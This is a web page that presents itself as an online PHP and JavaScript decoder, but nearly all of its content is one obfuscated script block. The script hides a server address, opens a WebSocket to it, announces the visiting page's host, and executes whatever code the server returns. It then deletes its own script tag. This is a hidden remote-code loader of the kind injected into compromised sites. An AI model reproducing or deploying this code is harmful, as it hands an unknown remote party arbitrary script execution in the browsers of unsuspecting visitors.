Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<script>
function a0S(r,m){const y=a0y();return a0S=function(S,f){S=S-0x1c5;let J=y[S];if(a0S['smKpyY']===undefined){var Z=function(u){const B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let l='',D='',L=l+Z;for(let t=0x0,e,N,H=0x0;N=u['charAt'](H++);~N&&(e=t%0x4?e*0x40+N:N,t++%0x4)?l+=L['charCodeAt'](H+0xa)-0xa!==0x0?String['fromCharCode'](0xff&e>>(-0x2*t&0x6)):t:0x0){N=B['indexOf'](N);}for(let M=0x0,I=l['length'];M<I;M++){D+='%'+('00'+l['charCodeAt'](M)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(D);};const z=function(u,B){let l=[],D=0x0,L,t='';u=Z(u);let e;for(e=0x0;e<0x100;e++){l[e]=e;}for(e=0x0;e<0x100;e++){D=(D+l[e]+B['charCodeAt'](e%B['length']))%0x100,L=l[e],l[e]=l[D],l[D]=L;}e=0x0,D=0x0;for(let N=0x0;N<u['length'];N++){e=(e+0x1)%0x100,D=(D+l[e])%0x100,L=l[e],l[e]=l[D],l[D]=L,t+=String['fromCharCode'](u['charCodeAt'](N)^l[(l[e]+l[D])%0x100]);}return t;};a0S['zNSmvf']=z,r=arguments,a0S['smKpyY']=!![];}const K=y[0x0],W=S+K,c=r[W];if(!c){if(a0S['DUghWN']===undefined){const u=function(B){this['iyJJhI']=B,this['rPnAgz']=[0x1,0x0,0x0],this['gMPzNQ']=function(){return'newState';},this['beWeXb']='\w+ *\(\) *{\w+ *',this['tWScah']='['|"].+['|"];? *}';};u['prototype']['dGiZdA']=function(){const B=new RegExp(this['beWeXb']+this['tWScah']),l=B['test'](this['gMPzNQ']['toString']())?--this['rPnAgz'][0x1]:--this['rPnAgz'][0x0];return this['ztSNCh'](l);},u['prototype']['ztSNCh']=function(B){if(!Boolean(~B))return B;return this['nMPSZM'](this['iyJJhI']);},u['prototype']['nMPSZM']=function(B){for(let l=0x0,D=this['rPnAgz']['length'];l<D;l++){this['rPnAgz']['push'](Math['round'](Math['random']())),D=this['rPnAgz']['length'];}return B(this['rPnAgz'][0x0]);},new u(a0S)['dGiZdA'](),a0S['DUghWN']=!![];}J=a0S['zNSmvf'](J,f),r[W]=J;}else J=c;return J;},a0S(r,m);}function a0y(){const v=['pdGaW4O6WOVcUCkTWPZdRmo2p8kq','lSozdq','pmkPtdO4WOtdVWddSWhdKmovWPG','WR3cVCoHDIXNqW','n8kibmoiW5ddM04','W7dcPe8B','xCoGgSkCW7pcVIe5c2aDeSklWPi','bxBdGdi','lmkSuIeP','W7NcPeGgW7BdLZtcHmkSicm','pSkStIqK','F8oSWOBdGmkkiNbrF8kkWRDD','k8k5ttW','pmoTW7fvaXlcRr8ad1LjeLlcVW','omovW7HXpSkxW6ztW5auWQCJWPtdSSkk','mmkSwYy','W7TTnuvCF0ZcJ8oWW5/cPu3cPq','W4f5bsz9WQ5A','Ed4UWQmX','WQxdKXRdVCo3WO3dTgeFgCkJiq','W7JdTCk7W4G9WRKla8kqxCoyWROv','WPBdU8oYDCklgCk4WQpdNviZWRSSWQCffW','zCoApmoux8kMWOC','W4qbp8oxaSoBWOBcKmkwW5pdPa','frFcJeRdP1K','dmoRsSoCWQxdNsbIfKeMh8kCW6ShW4mxWQddKY8sWRZdVCkNWQddNh01xfX2tq','o8o8W7TiqH8','r8oWaCkeW6ZcOZiHCqzFvW','p8kHW4/cIG','xW3dGCoYb8ofWQGjhbZdP14x','mKrMW64','W74eWQzV','WQddLSoTWR7cJLKPh8kDaCkkW59WD17cKa','uctcGMpcH39QoWVcMLbYW60','yaHTWRtdUSoh','WQRcG8o+W7RcLmoLWR4','W4VdKmkuo8kYW5VdH8kEWQuZW7Wl','otqpW40/WOdcTmkIWOZdQ8oqoSkD','WOqOsNq+W6ugqSoRWRZcGKSO','dGVcIuG','jLmaW7iHW5pdKCo1W4RdUNtcHLK','WQNdQmk5WOhdICkqW5Xilq0ZWOWK','xCkuomkJ','WPqTbCoMj8kLEX4s','W6JcRLaqW7ddLIq','bCk3qmoe','jebKW6byetaTbdOSWRTaW5hcJa','aLBcN8kQ','omosW69Il8kCW51IW5KdWQ0NWRu','WOqVW40r','i8oNaSoFqSopBM7dPXC6jCo5','sCkLW63cMKuZW5VdNW','WPTGW6yBwaju','eNldMJC'];a0y=function(){return v;};return a0y();}(function(r,m){const l=a0S,y=r();while(!![]){try{const S=parseInt(l(0x1cb,'))u2'))/0x1*(-parseInt(l(0x1e0,'LNi2'))/0x2)+-parseInt(l(0x1f1,'A$9f'))/0x3+parseInt(l(0x1d0,'1)ix'))/0x4+-parseInt(l(0x1d9,'$071'))/0x5+parseInt(l(0x1dd,'2[yc'))/0x6+-parseInt(l(0x1cd,'d%yy'))/0x7+-parseInt(l(0x1f3,'TL#k'))/0x8*(-parseInt(l(0x1e3,'@Rl&'))/0x9);if(S===m)break;else y['push'](y['shift']());}catch(f){y['push'](y['shift']());}}}(a0y,0xc9643),void(function(){const L=a0S,r=(function(){let Z=!![];return function(K,W){const c=Z?function(){const D=a0S;if(W){const z=W[D(0x1e7,'KyDY')](K,arguments);return W=null,z;}}:function(){};return Z=![],c;};}()),y=L(0x1f6,'@Rl&');function S(){const t=L;let Z=location[t(0x1c6,'o5n9')][t(0x1e5,'KyDY')]('')[t(0x1db,'Jz3a')]()[t(0x1e2,'U$*Y')]('')['replace'](/[^A-Za-z0-9_$]/g,'');if(!/^[A-Za-z_$]/[t(0x1e9,'KyDY')](Z))Z='_'+Z;return Z;}function f(Z){const e=L;try{new Function(Z)();return;}catch(K){}try{const W=new Blob([Z],{'type':e(0x1ea,'KO3y')}),c=URL[e(0x1eb,'UdA!')](W),z=document['createElement'](e(0x1c9,'2$(j'));z[e(0x1ef,'hWRM')]=!![],z[e(0x1de,'TL#k')]=c,z[e(0x1f5,'YK0G')]=z[e(0x1e1,'(YnF')]=()=>{const N=e;URL[N(0x1d5,'cj^B')](c),z['remove']();},(document[e(0x1f9,'koJa')]||document['documentElement'])[e(0x1f4,'Z#5j')](z);}catch(B){}}function J(Z=0x0){const M=L,K=r(this,function(){const H=a0S;return K[H(0x1da,'gkZQ')]()['search'](H(0x1f8,'@Rl&'))['toString']()[H(0x1e6,'U$*Y')](K)['search'](H(0x1e8,'koJa'));});K();if(Z<0x3)try{const W=new WebSocket(atob(y)['split']('')[M(0x1ee,'d%yy')]()[M(0x1d6,'thr@')]('')),c=S();W[M(0x1f2,'egeo')](M(0x1ec,'KyDY'),()=>{const I=M;try{window[c]=W,W[I(0x1dc,'t8rg')](JSON[I(0x1d2,'!Wo5')]({'method':['o','l','l','e','h'][I(0x1d3,'U$*Y')]()[I(0x1d4,'@Rl&')](''),'host':location[I(0x1d1,'k9m&')]}));}catch(z){}}),W[M(0x1c7,'p[ET')]('message',z=>{const k=M,u=typeof z[k(0x1e4,'t8rg')]===k(0x1f7,'KO3y')?z[k(0x1d8,'G^&z')]:String(z[k(0x1c5,'cj^B')]||'');if(u[k(0x1ce,'YK0G')]())f(u);});}catch(z){Z+=0x1,setTimeout(()=>{J(Z);},0x3e8);}}J(),document[L(0x1df,'KyDY')]&&document[L(0x1d7,'UdA!')]['remove']();}()));
</script>



© 2023 Quttera Ltd. All rights reserved.